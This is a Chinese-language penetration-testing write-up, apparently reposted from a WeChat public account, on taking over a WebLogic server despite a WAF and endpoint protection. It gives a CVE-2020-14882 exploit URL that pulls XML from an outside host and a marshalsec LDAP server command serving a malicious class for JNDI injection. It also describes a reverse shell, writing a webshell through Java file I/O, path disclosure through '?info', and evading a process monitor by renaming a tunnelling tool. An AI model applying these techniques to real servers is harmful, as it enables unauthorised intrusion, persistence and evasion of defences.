Weblogic 绕waf实战

Part1 前言

最近安服的同事打比赛，给我陆续发了好几个没有拿下来的Weblogic的站点，一直在想尽各种办法研究，争取拿下权限。各种WAF防护、终端防护、不出网、SUID不一致、EXP没回显等等原因，造成了现有工具、EXP都没法利用，难度都挺大的。接下来分享一个实战案例，一个Weblogic站点，T3、IIOP协议都关闭。我粗略看了一下，初步判断是有waf及终端防护在，绕过的过程还是曲折的，于是把过程记录下来，分享给大家，为了防止打码不全造成项目信息泄露，我还是拿一个虚拟机环境做演示吧，但是思路都是完整的。

Part2 技术研究过程

• Weblogic中间件判断

打开weblogic站点，输入一个不存在的路径，服务器返回如下，证明是Weblogic中间件。

后续经过扫描探测发现T3、IIOP协议同时关闭了，仅限HTTP访问。于是回想了一下，Weblogic在HTTP下大致有以下几个可以拿权限的漏洞，我把相关漏洞CVE罗列出来：

• 筛选Weblogic HTTP下可用的EXP

经过一系列筛选，经过ABC_123总结，Webloigc中间件下HTTP可拿权限的漏洞大致有如下几个，其中CVE-2020-14882权限绕过漏洞，后续又接连出了好几个绕过方法，这里就不一一列举了。

CVE-2014-4210 weblogic SSRF漏洞。很老的一个漏洞了，可以通过打内网的redis匿名访问漏洞拿权限。

CVE-2018-2894 两处路径上传漏洞。/ws_utc/begin.do，/ws_utc/config.do，其中begin.do在开发模式下无需认证，在生产模式下需要认证。

CVE-2018-3252 DeploymentService接口上传漏洞。需要用户名密码，打补丁后，可以判断用户名密码是否存在，但是无法上传文件成功。

CVE-2020-14882 权限绕过代码执行漏洞。可以回显执行命令结果，可以结合jndi出网利用，可以加载xml文件任意代码执行

CVE-2017-3506 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2017-10271 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2019-2725 代码执行漏洞。XMLDecoder反序列化不安全数据造成代码执行

CVE-2019-2729 代码执行漏洞。Weblogic10.3.6与12.1.3的POC构造不一样,Weblogic 12.1.3版本2729的不出网POC，目前无人公布在网上，网传的POC仅适用于JDK1.6 Weblogic10.3.6版本情况，原理是<array method="forName">标签替换，适用范围有限。

CVE-2021-2109 权限绕过漏洞。利用方式jndi，利用成功的前提条件有2个：1、需要出网；2、JDK版本小于等于JDK1.8.191。

对于这几个漏洞的判断和利用，是很麻烦的：比如说CVE-2019-2725、CVE-2019-2729、CVE-2020-14756等的各种exp变形非常非常多，JDK1.6、JDK1.7、JDK1.8 不同JDK下exp均有不同，然后有的可以过waf、有的不能；有的可以回显，有的却回显不成功；有的exp路径存在，有的不存在等等。总之，各种情况下exp数量太多了，挨个测试非常麻烦。于是我写了一个简单的FUZZ工具，起一个线程池，把所有组合的exp通通尝试一遍，每个exp的发包请求、发包返回都会被记录，而且还内置了浏览器，这样可以仔细分析每个exp利用成功或者失败的原因，大家可以自己用python脚本实现一个，很简单。

最终经过筛选，发现只有两个exp可用，而且成功绕过了各种防护。

1 CVE-2019-2729的JNDI出网利用

这是其中一个能用的EXP，同时也意味着CVE-2017-10271、CVE-2019-2725漏洞均被打了补丁了，不能用，而且weblogic版本大致是12.1.3。而且服务器装的JDK需要是<=JDK 1.8.191才能利用成功。

2 CVE-2020-14882后台绕过及jndi出网利用

这个exp能用挺好的，基本上拿下权限是百分之百的事情，因为222.xml里面可以加载任意java代码，而且不用考虑JDK版本问题。

• CVE-2020-14882漏洞的尝试

这个漏洞大体利用先前的权限绕过，发起一个jndi请求，检测POC大致如下图所示：

http://192.168.237.235:7130/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("%68%74%74%70%3a%2f%2xxx.xxx.xxx.xxx:53/123.xml")

首先验证一下漏洞可不可用，将上述URL中的xml远程地址替换成dnslog地址，dnslog地址有返回，证明漏洞存在且EXP可用。

接下来将123.xml文件中的命令替换成ping dnslog.cn的命令，结果发现dnslog没有返回，证明没有成功。。。这是什么情况。。。一顿操作没有找到问题所在。

• CVE-2019-2729的JNDI尝试

接下来就把目光放在CVE-2019-2729这个JNDI的exp上了，首先编写一个实现了反弹shell功能的MyEvilClass.java文件，从ysoserial的github上摘抄了一个反弹shell的java代码，编译成MyEvilClass文件，用老外的神器marshalsec-0.0.3-SNAPSHOT-all.jar搭建起来，使用命令如下：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:8888/#MyEvilClass" 53

MyEvilClass.java大致内容如下：

结果让人崩溃，这次反弹shell成功了，但是只要执行命令，反弹的shell就会断掉。提示“isn’t allowed to be executed”

太难了。。。估计有什么终端防护在上面。。接下来怎么办呢，没思路了，啥命令都执行不了。

• 换个思路拿下权限

后来我想了想，终端防护拦截的是CMD执行命令、拦截进程等操作，现在的攻击对象是Java反序列化漏洞，为啥不从Java代码层面上考虑问题呢？用Java代码中的PrintWriter类去写入一个Webshell就行了，终端防护总不能连正常的java类写文件操作都拦截吧。但是一个问题又来了，如何知道网站的绝对路径呢？看如下操作：

正常的漏洞路径如下：

在上述URL路径后面加上一个?info可以直接得到网站的绝对路径（看下图的右下角）

将上述网站绝对路径放到MyEvilClass.java文件中，完成一个写文件的操作。关键代码如下：

JNDI请求发起后，写文件的java代码被执行，webshell成功拿下。

• 绕过进程监控

接下来就是上传FRP或者dogtunnel架设Socks5代理了，结果还是遇到了麻烦。经过一系列测试，发现在/tmp目录下，任何新建进程都会在1分钟左右被终止掉、新建文件都会被删掉。执行ps -aux命令发现有process monitor字样的进程名存在。

后续绕过方法很简单，我在weblogic的domain目录下，传一个frp，将程序名字更改为weblogic或者tomcat。哈哈，进程拦截不拦截了，估计也不敢拦截，怕终止正常的weblogic或者tomcat应用。

Part3 总结

1. 遇到终端防护拦截执行命令的情况，不如换个思路，从java代码层面上考虑，它总不能连PrintWriter类写文件的正常操作都拦截吧。

2. 那些公布出来的Nday，也是有利用价值的，可以多研究一下漏洞原理和利用技巧。

3. /_async/AsyncResponseService?info 可以直接获取Weblogic的绝对路径。此外，Weblogic还有很多有意思的东西可以挖，很多地方都可以获取绝对路径。

星球内容

正式运营星球:

1.src真实漏洞挖掘案例分享(永久不定时更新),过程详细一看就会哦。
2.自研/二开等工具/平台的分享。
3.漏洞分析/资料共享等。

ps:漏洞都是加班加点挖到的,最近白嫖的人日益增多越来越多。
白嫖党过多,增加了新人阅读权限,3天就解除。

关于文章/Tools获取方式:请关注交流群或者知识星球。

关于交流群：因为某些原因，更改一下交流群的获取方式:

1.请点击联系我们->联系官方->客服小助手添加二维码拉群 。

原文始发于微信公众号（极梦C）：Weblogic 绕waf实战